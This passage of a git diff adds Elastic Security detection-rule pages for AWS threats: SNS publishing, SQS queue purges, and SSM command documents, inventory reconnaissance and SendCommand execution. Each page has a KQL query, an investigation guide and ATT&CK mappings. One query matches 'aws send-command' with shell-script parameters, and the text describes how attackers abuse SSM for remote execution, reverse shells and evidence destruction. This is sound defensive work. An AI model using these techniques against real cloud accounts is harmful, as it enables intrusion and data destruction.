https://docs.aws.amazon.com/sns/latest/dg/logging-using-cloudtrail.html#cloudtrail-data-events[configured] to log data events for SNS. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"aws.cloudtrail" + and event.provider:"sns.amazonaws.com" + and event.action:"Publish" + and event.outcome:"success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Internal Spearphishing +** ID: T1534 +** Reference URL: https://attack.mitre.org/techniques/T1534/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sqs-queue-purge.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sqs-queue-purge.asciidoc new file mode 100644 index 0000000000..3b78a1b194 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-sqs-queue-purge.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-aws-sqs-queue-purge]] +=== AWS SQS Queue Purge + +Identifies when an AWS Simple Queue Service (SQS) queue is purged. Purging an SQS queue permanently deletes all messages currently in the queue. Adversaries may use this action to disrupt application workflows, destroy operational data, or impair monitoring and alerting by removing messages that contain evidence of malicious activity. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_PurgeQueue.html +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SQS +* Use Case: Threat Detection +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SQS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SQS Queue Purge* + + +AWS SQS is a managed message queuing service commonly used to decouple services and buffer events across distributed and serverless architectures. Purging a queue removes all pending messages and cannot be undone. While this may be required for maintenance or testing, adversaries may abuse this action to disrupt operations, delete forensic evidence, or evade detection by removing queued security or audit events. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `access_key_id` to determine who initiated the purge. Confirm whether this identity typically manages SQS resources and whether the action aligns with their role. + +**Review the affected queue** +- Identify the purged queue using `aws.cloudtrail.request_parameters` or `aws.cloudtrail.resources.arn`. Determine the purpose of the queue and whether it supports critical workflows, security tooling, or monitoring pipelines. + +**Evaluate the context of the action** +- Review the `@timestamp` to determine when the purge occurred and whether it aligns with maintenance windows or + deployment activity. +- Examine `source.ip` and `user_agent.original` for anomalies such as unexpected locations, automation tools, or + unfamiliar clients. + +**Correlate related activity** +- Search for other CloudTrail events from the same identity before and after the purge, including IAM changes, credential activity, or additional SQS operations. +- Look for signs of follow-on behavior such as queue deletion, policy updates, or attempts to suppress logging. + +**Validate intent** +- Confirm with the queue owner or application team whether the purge was intentional, approved, and expected. If no clear business justification exists, treat the activity as potentially suspicious. + + +*False positive analysis* + + +- Queue purges performed during routine maintenance, incident recovery, or test resets may be legitimate. +- Automated jobs or cleanup scripts may regularly purge queues as part of normal operation. + + +*Response and remediation* + + +- If the purge was unauthorized, immediately restrict SQS permissions for the affected identity and investigate for credential compromise. +- Assess operational impact and determine whether downstream systems were disrupted or lost critical data. +- Review recent activity to identify any additional attempts to evade detection or disable monitoring. +- Reinforce least-privilege IAM policies to limit which identities can perform `PurgeQueue`. +- Enhance monitoring and alerting for destructive SQS actions, especially in production environments. +- Work with application teams to document approved purge workflows and ensure adequate guardrails are in place. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "sqs.amazonaws.com" + and event.action: "PurgeQueue" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-command-document-created-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-command-document-created-by-rare-user.asciidoc new file mode 100644 index 0000000000..651636af66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-command-document-created-by-rare-user.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-aws-ssm-command-document-created-by-rare-user]] +=== AWS SSM Command Document Created by Rare User + +Identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, data exfiltration and more. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateDocument.html +* https://docs.aws.amazon.com/systems-manager/latest/userguide/documents.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Execution +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SSM + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Command Document Created by Rare User* + + +This rule identifies when an AWS Systems Manager (SSM) command document is created by a user who does not typically perform this action. Creating SSM command documents can be a legitimate action but may also indicate malicious intent if done by an unusual or compromised user. Adversaries may leverage SSM documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, or data exfiltration. + + +*Possible Investigation Steps* + + +- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` field to identify who created the SSM document. Verify if this user typically creates such documents and has the appropriate permissions. It may be unexpected for certain types of users, like assumed roles or federated users, to perform this action. +- **Analyze the Document Details**: + - **Document Name**: Check the `aws.cloudtrail.request_parameters.name` field for the document name to understand its intended purpose. + - **Document Content**: If possible, review `aws.cloudtrail.request_parameters.content` for any sensitive or unexpected instructions (e.g., actions for data exfiltration or privilege escalation). If not available via logs, consider reviewing the document in the AWS Management Console. +- **Contextualize the Activity with Related Events**: Look for other CloudTrail events involving the same user ARN or IP address (`source.ip`). Examine actions performed in other AWS services, such as IAM, EC2, or S3, to identify if additional suspicious behavior exists. The `SendCommand` API call may indicate attempts to execute the SSM document on managed instances. +- **Check Document Status and Metadata**: + - **Document Status**: Confirm the document creation status in `aws.cloudtrail.response_elements.documentDescription.status`. A status of `Creating` may indicate that the document is in progress. + - **Execution Permissions**: Review if the document specifies `platformTypes` and `documentVersion` in `aws.cloudtrail.response_elements.documentDescription` to understand which environments may be impacted and if multiple versions exist. + + +*False Positive Analysis* + + +- **Authorized Administrative Actions**: Determine if this document creation aligns with scheduled administrative tasks or actions by authorized personnel. +- **Historical User Actions**: Compare this action against historical activities for the user to determine if they have a history of creating similar documents, which may indicate legitimate usage. + + +*Response and Remediation* + + +- **Immediate Document Review and Deletion**: If the document creation is deemed unauthorized, delete the document immediately and check for other similar documents created recently. +- **Enhance Monitoring and Alerts**: Configure additional monitoring for SSM document creation events, especially when associated with untrusted or rare users. +- **Policy Update**: Consider restricting SSM document creation permissions to specific, trusted roles or users to prevent unauthorized document creation. +- **Incident Response**: If the document is confirmed as part of malicious activity, treat this as a security incident. Follow incident response protocols, including containment, investigation, and remediation. + + +*Additional Information* + + +For further guidance on managing and securing AWS Systems Manager in your environment, refer to the https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html[AWS SSM documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and event.action: "CreateDocument" + and event.outcome: "success" + and aws.cloudtrail.flattened.response_elements.documentDescription.documentType: "Command" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc new file mode 100644 index 0000000000..9f78cfaff5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-inventory-reconnaissance-by-rare-user.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-aws-ssm-inventory-reconnaissance-by-rare-user]] +=== AWS SSM Inventory Reconnaissance by Rare User + +Detects the rare occurrence of a user or role accessing AWS Systems Manager (SSM) inventory APIs or running the AWS-GatherSoftwareInventory job. These APIs reveal detailed information about managed EC2 instances including installed software, patch compliance status, and command execution history. Adversaries may use these calls to collect software inventory while blending in with legitimate AWS operations. This is a New Terms rule that detects when a user accesses these reconnaissance APIs for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider_0.pdf +* https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-inventory.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SSM +* Tactic: Discovery +* Rule Type: New Terms +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM Inventory Reconnaissance by Rare User* + + +AWS Systems Manager (SSM) Inventory provides detailed information about managed EC2 instances, including installed +applications, network configurations, OS details, and patch compliance status. Threat actors, including Scattered +Spider (LUCR-3), leverage these APIs to discover targets for lateral movement. + +This rule detects the first time a specific user (identified by `cloud.account.id` and `user.name`) accesses SSM +inventory reconnaissance APIs or runs inventory collection commands. These APIs are typically used by automation +systems, not interactively by humans. + + +*Possible investigation steps* + + +- **Verify User Identity**: Check `aws.cloudtrail.user_identity.arn` or `user.name` to determine who performed the action. + - Is this a service account, automation role, or human user? + - Does this user typically interact with SSM or EC2 infrastructure? +- **Review Source Context**: Examine `source.ip` and `source.geo` to determine where the request originated. + - Does the source IP match expected locations for this user? + - Is the source IP from an EC2 instance (potentially compromised) or an external location? +- **Analyze User Agent**: Check `user_agent.original` for suspicious values. + - AWS CLI, SDK, or CloudShell usage from unexpected users is suspicious. + - Custom or unusual user agents may indicate attacker tooling. +- **Correlate with Other Events**: Look for other reconnaissance or lateral movement activity from the same user. + - Check for `StartSession`, `SendCommand`, or other SSM execution APIs. + - Look for `GetCallerIdentity` calls which often precede reconnaissance. +- **Review Timeline**: Investigate activity 30 minutes before and after this event. + - Was there an initial access event (e.g., console login, `AssumeRole`)? + - Did the user proceed to access secrets or attempt lateral movement? + + +*False positive analysis* + + +- Automation and Monitoring: Legitimate monitoring tools, asset management systems, or compliance scanners may query SSM inventory regularly. These should use dedicated service accounts. +- Administrator Activity: Cloud administrators may occasionally query inventory for troubleshooting. Verify with the user whether this was intentional. +- CI/CD Pipelines: Deployment pipelines may check patch compliance before deployments. +- SSM Associations: The `AWS-GatherSoftwareInventory` document is normally deployed via IaC tools (Terraform, CloudFormation) or the AWS Console during initial setup. Interactive `CreateAssociation` calls outside of these contexts warrant investigation. + + +*Response and remediation* + + +- Immediate Verification: Contact the user to verify whether they performed this action intentionally. +- Review Permissions: If unauthorized, review and restrict the user's IAM permissions following least privilege. +- Investigate Credential Compromise: If the user did not perform this action, treat their credentials as compromised. + - Rotate access keys and session tokens. + - Review recent activity for data exfiltration or privilege escalation. +- Enhanced Monitoring: Add the user or role to enhanced monitoring if suspicious activity is confirmed. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and ( + event.action: ("GetInventory" or "GetInventorySchema" or "ListInventoryEntries" or "DescribeInstancePatches" or "ListCommands") + or (event.action: "CreateAssociation" + and aws.cloudtrail.request_parameters: *AWS-GatherSoftwareInventory*) + ) + and not aws.cloudtrail.user_identity.type : "AWSService" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Technique: +** Name: Cloud Service Dashboard +** ID: T1538 +** Reference URL: https://attack.mitre.org/techniques/T1538/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-sendcommand-execution-by-rare-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-sendcommand-execution-by-rare-user.asciidoc new file mode 100644 index 0000000000..be57bf1e94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-sendcommand-execution-by-rare-user.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-aws-ssm-sendcommand-execution-by-rare-user]] +=== AWS SSM `SendCommand` Execution by Rare User + +Detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM), such as RunShellScript, RunPowerShellScript or custom documents. While legitimate users may employ these commands for management tasks, they can also be exploited by attackers with credentials to establish persistence, install malware, or execute reverse shells for further access to compromised instances. This is a New Terms rule that looks for the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-plugins.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Use Case: Log Auditing +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Cloud VM Execution +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SSM + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SSM `SendCommand` Execution by Rare User* + + +This rule detects the execution of commands or scripts on EC2 instances using AWS Systems Manager (SSM) by an unexpected or new user. The SSM `SendCommand` action can enable remote command execution, which adversaries may exploit to install backdoors, deploy malware, or interact with compromised instances through reverse shells. + + +*Possible Investigation Steps* + + +- **Identify the Target Instance**: + - **Instance ID**: Review the `aws.cloudtrail.request_parameters` field to identify which EC2 instances were targeted by this command. Confirm if these instances are expected to be managed through SSM. + - **Document Used**: Check the `aws.cloudtrail.request_parameters` field, which specifies the name of the document or script being executed. Commands such as `RunShellScript` or `RunPowerShellScript` can indicate interactive sessions or script-based interactions. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine the user or role executing the `SendCommand`. If this user is not typically involved in EC2 or SSM interactions, this could indicate unauthorized access. + - **Access Patterns**: Validate whether the user typically has permissions to perform `SendCommand` operations on instances and whether the frequency of this action matches expected behavior. + +- **Analyze Command Parameters**: + - **Document Contents**: While the exact command may not be visible in CloudTrail, use logs to determine the purpose of the script, especially if the document name suggests encryption, data transfer, or reverse shell capabilities. + - **Timing and Context**: Compare this command execution with other recent SSM actions in your environment. A single `SendCommand` event by an unusual user can indicate an early stage of a larger attack. + +- **Check User Agent and Source IP**: + - **User Agent Analysis**: Review the `user_agent.original` field to verify the tool or client used (e.g., `aws-cli`). This can provide insight into whether this action was automated, scripted, or executed manually. + - **Source IP and Geolocation**: Use `source.ip` and `source.geo` fields to check if the IP address and geolocation align with expected regions for your organization. Unusual IP addresses or locations can indicate external adversaries. + +- **Evaluate for Persistence Indicators**: + - **Command Consistency**: Investigate if this action is part of a recurring pattern, such as repeated command executions across instances, which may suggest an attempt to maintain access. + - **Permissions**: Ensure that the IAM policies associated with the user limit `SendCommand` actions to necessary use cases. Consider adding alerts for commands executed by users with minimal roles or permissions. + +- **Correlate with Other CloudTrail Events**: + - **Cross-Reference SSM Actions**: Look for other recent SSM actions like `CreateDocument`, `UpdateDocument`, or additional `SendCommand` events that could indicate preparation for further exploitation. + - **Monitor Data Access or Modification**: Correlate with S3 access patterns, IAM changes, or EC2 modifications in recent events to detect broader malicious activities. + + +*False Positive Analysis* + + +- **Routine Automation**: SSM `SendCommand` may be used by automation scripts or management tools. Verify if this event aligns with known, routine automated workflows. +- **Maintenance Activity**: Confirm if legitimate administrative activities, such as patching or updates, are expected at this time, which may involve similar commands executed on multiple instances. + + +*Response and Remediation* + + +- **Limit SSM Permissions**: If unauthorized, immediately revoke `SendCommand` permissions from the user or role to prevent further access. +- **Quarantine Target Instance**: If malicious behavior is confirmed, isolate the affected EC2 instance(s) to limit lateral movement or data exfiltration. +- **Investigate and Contain User Account**: If the action was performed by a compromised account, review recent activity and reset access credentials as necessary. +- **Audit SSM and IAM Configurations**: Periodically review permissions associated with SSM usage and ensure least privilege access principles are in place. + + +*Additional Information* + + +For further details on managing AWS SSM and security best practices for EC2 instances, refer to the https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-plugins.html[AWS Systems Manager Documentation] and AWS best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ssm.amazonaws.com" + and event.action: "SendCommand" + and event.outcome: "success" + and not source.address: ( + "ssm-guiconnect.amazonaws.com" or + "ssm.amazonaws.com" or + "inspector2.amazonaws.com" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc new file mode 100644 index 0000000000..7f24d9f90b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-aws-ssm-sendcommand-with-run-shell-command-parameters]] +=== AWS SSM `SendCommand` with Run Shell Command Parameters + +Identifies the use of the AWS Systems Manager (SSM) `SendCommand` API with the either `AWS-RunShellScript` or `AWS-RunPowerShellScript` parameters. The `SendCommand` API call allows users to execute commands on EC2 instances using the SSM service. Adversaries may use this technique to execute commands on EC2 instances without the need for SSH or RDP access. This behavior may indicate an adversary attempting to execute commands on an EC2 instance for malicious purposes. This is a [New Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule that only flags when this behavior is observed for the first time on a host in the last 7 days. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc +* https://securitycafe.ro/2023/01/17/aws-post-explitation-with-ssm-sendcommand/ + +*Tags*: + +* Domain: Endpoint +* Domain: Cloud +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Cloud VM Execution +* Rule Type: New Terms +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS SSM `SendCommand` with Run Shell Command Parameters* + + +AWS Systems Manager (SSM) allows remote command execution on EC2 instances via the `SendCommand` API, using scripts like `AWS-RunShellScript` or `AWS-RunPowerShellScript`. Adversaries may exploit this to execute unauthorized commands without direct access. The detection rule identifies unusual command executions by monitoring process activities, flagging first-time occurrences within a week to spot potential threats. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific EC2 instance and the user account associated with the `SendCommand` API call. +- Check the AWS CloudTrail logs for the `SendCommand` event to gather additional context, such as the source IP address, user agent, and any associated IAM roles or policies. +- Investigate the command parameters used in the `SendCommand` API call, focusing on the `commands` field to determine the nature and intent of the executed script. +- Examine the process execution history on the affected host to identify any unusual or unauthorized processes that may have been initiated as a result of the command. +- Assess the recent activity of the user account involved in the alert to identify any other suspicious actions or deviations from normal behavior. +- Verify the integrity and security posture of the affected EC2 instance, checking for any signs of compromise or unauthorized changes. + + +*False positive analysis* + + +- Routine administrative tasks using AWS SSM SendCommand may trigger alerts. Identify and document regular maintenance scripts and exclude them from detection to reduce noise. +- Automated deployment processes often use AWS-RunShellScript or AWS-RunPowerShellScript. Review deployment logs and whitelist these processes if they are verified as non-threatening. +- Monitoring or compliance checks that utilize SSM for gathering system information can be mistaken for malicious activity. Confirm these activities with the relevant teams and create exceptions for known benign operations. +- Scheduled tasks or cron jobs that execute commands via SSM should be reviewed. If they are part of standard operations, consider excluding them from the rule to prevent false positives. +- Development and testing environments frequently use SSM for testing scripts. Ensure these environments are well-documented and apply exceptions to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected EC2 instance from the network to prevent further unauthorized command execution and potential lateral movement. +- Review the AWS CloudTrail logs to identify the source of the `SendCommand` API call, including the IAM user or role that initiated the command, and assess whether the access was legitimate or compromised. +- Revoke or rotate the credentials of the IAM user or role involved in the suspicious activity to prevent further unauthorized access. +- Conduct a thorough examination of the affected EC2 instance to identify any unauthorized changes or installed malware, and restore the instance from a known good backup if necessary. +- Implement stricter IAM policies and permissions to limit the use of the `SendCommand` API to only trusted users and roles, ensuring the principle of least privilege is enforced. +- Enable multi-factor authentication (MFA) for all IAM users with permissions to execute commands on EC2 instances to add an additional layer of security. +- Escalate the incident to the security operations team for further investigation and to determine if additional instances or resources have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "process" and event.type: "start" and process.name: "aws" +and ( + host.os.type: ("windows" or "macos") + or ( + host.os.type: "linux" + and event.action: ("exec" or "exec_event" or "executed" or "process_started") + ) +) +and process.args: ( + "send-command" and "--parameters" and commands=* + and ("AWS-RunShellScript" or "AWS-RunPowerShellScript") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-session-manager-child-process-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-session-manager-child-process-execution.asciidoc new file mode 100644 index 0000000000..befbf871b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ssm-session-manager-child-process-execution.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-aws-ssm-session-manager-child-process-execution]] +=== AWS SSM Session Manager Child Process 